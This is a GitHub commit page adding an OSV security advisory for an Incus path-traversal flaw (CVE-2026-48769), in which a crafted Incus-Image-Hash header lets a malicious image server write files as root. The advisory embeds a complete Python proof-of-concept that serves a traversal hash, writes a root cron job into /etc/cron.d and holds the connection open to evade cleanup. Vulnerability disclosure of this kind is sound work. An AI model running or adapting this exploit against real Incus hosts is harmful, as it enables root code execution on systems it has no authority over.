Skip to content

Commit 2f93033

Browse files
1 parent a5e517d commit 2f93033

1 file changed

Lines changed: 57 additions & 0 deletions

File tree

Lines changed: 57 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,57 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-f6m5-xw2g-xc4x",
4+
"modified": "2026-06-26T19:13:18Z",
5+
"published": "2026-06-26T19:13:18Z",
6+
"aliases": [
7+
"CVE-2026-48769"
8+
],
9+
"summary": "Incus has an arbitrary file write on its client due to trusted image hash",
10+
"details": "### Summary\n\nAn arbitrary file write exists in the Incus client when a malicious image server returns a crafted `Incus-Image-Hash` header. This can lead to arbitrary command execution as root on the server.\n\n\n### Details\n\n- `cmd/incusd/images.go:611-684` handles `source.type=url` by HEADing the user-supplied URL, reading `Incus-Image-Hash` and `Incus-Image-URL`, and passing them to `imageDownload()` as `Alias` and `Server`.\n- `cmd/incusd/daemon_images.go:91-92` defaults `fp` to the caller-controlled alias string.\n- `cmd/incusd/daemon_images.go:333-335` builds `destName := filepath.Join(destDir, fp)`.\n- `cmd/incusd/daemon_images.go:469-523` enters the `direct` protocol branch, opens `destName` with `os.Create()`, and copies the HTTP response into that file.\n- `cmd/incusd/daemon_images.go:528-532` validates the SHA-256 only after the file has already been created and populated.\n- `cmd/incusd/daemon_images.go:337-344` cleanup only runs after the copy returns; a slow or held response extends the arbitrary-write window.\n\nA malicious image server returning something along the following will cause the arbitrary file write.\n\n```\nIncus-Image-Hash: ../../../../etc/cron.d/incus-direct-image-url-rce\nIncus-Image-URL: http://attacker/payload\n```\n\n\n### PoC\n\nThe script below creates a malicious image server and requests an Incus server to fetch the image. File write occurs when the image is unpacked.\n\nThe following script was generated by an LLM.\n\n```\n#!/usr/bin/env python3\n\"\"\"Direct image URL hash path traversal to transient host cron write.\n\nFor `source.type=url`, Incus first HEADs an attacker-controlled URL and trusts the `Incus-Image-Hash` header as the expected fingerprint. The direct download path then creates `/var/lib/incus/images/<hash>` before validating that the hash is a real SHA-256 of the downloaded bytes. A hash containing `../` escapes the image directory.\n\nDefault mode is dry-run. With --execute-trigger this script starts a tiny HTTP server, returns a traversal hash pointing at cron, streams the cron payload, and keeps the response open so the daemon-side cleanup does not immediately remove the file.\n\n\"\"\"\n\nfrom __future__ import annotations\n\nimport argparse\nimport http.client\nimport json\nimport shlex\nimport socket\nimport ssl\nimport sys\nimport threading\nimport time\nimport urllib.parse\nfrom http.server import BaseHTTPRequestHandler, ThreadingHTTPServer\nfrom typing import Any\n\n\nDEFAULT_SOCKET = \"/var/lib/incus/unix.socket\"\nDEFAULT_TRAVERSAL = \"../../../../etc/cron.d/incus-direct-image-url-rce\"\n\n\nclass UnixHTTPConnection(http.client.HTTPConnection):\n def __init__(self, socket_path: str, timeout: int = 120):\n super().__init__(\"incus\", timeout=timeout)\n self.socket_path = socket_path\n\n def connect(self) -> None:\n sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)\n sock.settimeout(self.timeout)\n sock.connect(self.socket_path)\n self.sock = sock\n\n\nclass RCEHTTPServer(ThreadingHTTPServer):\n hash_path: str\n advertise_url: str\n payload: bytes\n hold_seconds: int\n payload_requested: threading.Event\n\n\nclass DirectImageHandler(BaseHTTPRequestHandler):\n protocol_version = \"HTTP/1.1\"\n server_version = \"direct-image-rce/1.0\"\n\n def log_message(self, fmt: str, *args: Any) -> None:\n print(f\"[http] {self.address_string()} - {fmt % args}\", flush=True)\n\n def do_HEAD(self) -> None:\n if self.path != \"/stage\":\n self.send_error(404)\n return\n\n srv = self.server\n assert isinstance(srv, RCEHTTPServer)\n self.send_response(200)\n self.send_header(\"Incus-Image-Hash\", srv.hash_path)\n self.send_header(\"Incus-Image-URL\", srv.advertise_url.rstrip(\"/\") + \"/payload\")\n self.send_header(\"Connection\", \"close\")\n self.end_headers()\n\n def do_GET(self) -> None:\n if self.path != \"/payload\":\n self.send_error(404)\n return\n\n srv = self.server\n assert isinstance(srv, RCEHTTPServer)\n srv.payload_requested.set()\n\n self.send_response(200)\n self.send_header(\"Content-Type\", \"application/octet-stream\")\n self.send_header(\"Cache-Control\", \"no-store\")\n self.end_headers()\n self.wfile.write(srv.payload)\n self.wfile.flush()\n print(f\"[*] payload bytes written to daemon response; holding for {srv.hold_seconds}s\", flush=True)\n time.sleep(srv.hold_seconds)\n self.close_connection = True\n\n\ndef quote(value: str) -> str:\n return urllib.parse.quote(value, safe=\"\")\n\n\ndef tls_context(args: argparse.Namespace) -> ssl.SSLContext:\n if args.insecure:\n ctx = ssl._create_unverified_context()\n else:\n ctx = ssl.create_default_context(cafile=args.cacert)\n\n if args.cert:\n ctx.load_cert_chain(args.cert, args.key)\n\n return ctx\n\n\ndef connection(args: argparse.Namespace) -> http.client.HTTPConnection:\n if args.url:\n parsed = urllib.parse.urlparse(args.url)\n if parsed.scheme != \"https\":\n raise ValueError(\"--url must use https\")\n\n return http.client.HTTPSConnection(\n parsed.hostname,\n parsed.port or 8443,\n timeout=args.timeout,\n context=tls_context(args),\n )\n\n return UnixHTTPConnection(args.socket, timeout=args.timeout)\n\n\ndef request_json(\n args: argparse.Namespace,\n method: str,\n path: str,\n obj: dict[str, Any] | None,\n allow_error: bool = False,\n) -> tuple[int, dict[str, Any]]:\n body = None if obj is None else json.dumps(obj).encode(\"utf-8\")\n headers = {\"Host\": \"incus\"}\n if body is not None:\n headers[\"Content-Type\"] = \"application/json\"\n\n conn = connection(args)\n conn.request(method, path, body=body, headers=headers)\n resp = conn.getresponse()\n raw = resp.read()\n conn.close()\n\n try:\n data = json.loads(raw) if raw else {}\n except json.JSONDecodeError:\n data = {\"raw\": raw.decode(\"utf-8\", \"replace\")}\n\n if not allow_error and (resp.status >= 400 or data.get(\"type\") == \"error\"):\n raise RuntimeError(f\"{method} {path} failed with HTTP {resp.status}: {data}\")\n\n return resp.status, data\n\n\ndef images_path(project: str) -> str:\n return \"/1.0/images?project=\" + quote(project)\n\n\ndef cron_payload(command: str) -> bytes:\n return f\"* * * * * root /bin/sh -c {shlex.quote(command)}\\n\".encode(\"utf-8\")\n\n\ndef image_url_body(project_url: str, public: bool) -> dict[str, Any]:\n return {\n \"source\": {\n \"type\": \"url\",\n \"url\": project_url.rstrip(\"/\") + \"/stage\",\n },\n \"public\": public,\n }\n\n\ndef start_server(args: argparse.Namespace, payload: bytes) -> RCEHTTPServer:\n server = RCEHTTPServer((args.listen_host, args.listen_port), DirectImageHandler)\n server.hash_path = args.hash_path\n server.advertise_url = args.advertise_url\n server.payload = payload\n server.hold_seconds = args.hold_seconds\n server.payload_requested = threading.Event()\n\n thread = threading.Thread(target=server.serve_forever, daemon=True)\n thread.start()\n return server\n\n\ndef main() -> int:\n parser = argparse.ArgumentParser(description=\"Incus direct image URL hash traversal cron RCE PoC\")\n parser.add_argument(\"--socket\", default=DEFAULT_SOCKET, help=\"Incus Unix socket\")\n parser.add_argument(\"--url\", help=\"remote Incus URL, for example https://host.ctf:8443\")\n parser.add_argument(\"--cert\", help=\"client certificate for remote Incus\")\n parser.add_argument(\"--key\", help=\"client private key for remote Incus\")\n parser.add_argument(\"--cacert\", help=\"CA certificate for remote Incus\")\n parser.add_argument(\"--insecure\", action=\"store_true\", help=\"disable TLS verification\")\n parser.add_argument(\"--timeout\", type=int, default=120, help=\"Incus request timeout\")\n parser.add_argument(\"--project\", default=\"default\", help=\"project used for image import\")\n parser.add_argument(\"--public\", action=\"store_true\", help=\"mark imported image public\")\n parser.add_argument(\"--listen-host\", default=\"0.0.0.0\", help=\"HTTP listen address\")\n parser.add_argument(\"--listen-port\", type=int, default=8088, help=\"HTTP listen port\")\n parser.add_argument(\"--advertise-url\", default=\"http://127.0.0.1:8088\", help=\"URL reachable by the Incus daemon\")\n parser.add_argument(\"--hash-path\", default=DEFAULT_TRAVERSAL, help=\"value returned in Incus-Image-Hash\")\n parser.add_argument(\"--hold-seconds\", type=int, default=90, help=\"keep payload response open for this many seconds\")\n parser.add_argument(\"--command\", default=\"id > /tmp/incus-direct-image-url-rce\", help=\"command cron should run\")\n parser.add_argument(\"--execute-trigger\", action=\"store_true\", help=\"start server and trigger POST /1.0/images\")\n parser.add_argument(\"--yes-i-understand-this-writes-host-file\", action=\"store_true\", help=\"required with --execute-trigger\")\n args = parser.parse_args()\n\n if bool(args.cert) != bool(args.key):\n parser.error(\"--cert and --key must be supplied together\")\n if args.execute_trigger and not args.yes_i_understand_this_writes_host_file:\n parser.error(\"--execute-trigger requires --yes-i-understand-this-writes-host-file\")\n\n payload = cron_payload(args.command)\n trigger_body = image_url_body(args.advertise_url, args.public)\n\n print(\"[*] exploit primitive: direct image URL unvalidated hash path host write\")\n print(f\"[*] HEAD URL served to daemon: {args.advertise_url.rstrip()}/stage\")\n print(f\"[*] returned Incus-Image-Hash: {args.hash_path}\")\n print(f\"[*] returned Incus-Image-URL: {args.advertise_url.rstrip()}/payload\")\n print(f\"[*] expected escaped host target from default Incus dir: /etc/cron.d/incus-direct-image-url-rce\")\n print(f\"[*] cron payload: {payload.decode().rstrip()}\")\n print(f\"[*] trigger body: {json.dumps(trigger_body, sort_keys=True)}\")\n\n if not args.execute_trigger:\n print(\"[*] dry run only; pass --execute-trigger and --yes-i-understand-this-writes-host-file to test\")\n return 0\n\n server = start_server(args, payload)\n print(f\"[*] HTTP server listening on {args.listen_host}:{args.listen_port}\")\n\n status, data = request_json(args, \"POST\", images_path(args.project), trigger_body, allow_error=True)\n print(f\"[*] POST /1.0/images HTTP {status}: {json.dumps(data, indent=2, sort_keys=True)}\")\n\n if server.payload_requested.wait(timeout=min(args.hold_seconds, 30)):\n print(\"[*] daemon requested payload; cron file should exist until the held response is released\")\n else:\n print(\"[!] daemon did not request payload within the wait window\")\n\n print(\"[*] leaving HTTP server active for the remaining hold window\")\n time.sleep(max(0, args.hold_seconds - 30))\n server.shutdown()\n server.server_close()\n return 0\n\n\nif __name__ == \"__main__\":\n try:\n raise SystemExit(main())\n except BrokenPipeError:\n raise SystemExit(1)\n except Exception as exc:\n print(f\"[-] {exc}\", file=sys.stderr)\n raise SystemExit(1)\n```\n\n\n### Impact\n\nAn arbitrary file write on the client with root privileges; possibly leading to arbitrary command execution.",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "Go",
21+
"name": "github.com/lxc/incus/v7/cmd/incusd"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "7.2.0"
32+
}
33+
]
34+
}
35+
]
36+
}
37+
],
38+
"references": [
39+
{
40+
"type": "WEB",
41+
"url": "https://github.com/lxc/incus/security/advisories/GHSA-f6m5-xw2g-xc4x"
42+
},
43+
{
44+
"type": "PACKAGE",
45+
"url": "https://github.com/lxc/incus"
46+
}
47+
],
48+
"database_specific": {
49+
"cwe_ids": [
50+
"CWE-20"
51+
],
52+
"severity": "CRITICAL",
53+
"github_reviewed": true,
54+
"github_reviewed_at": "2026-06-26T19:13:18Z",
55+
"nvd_published_at": null
56+
}
57+
}

0 commit comments

Comments
 (0)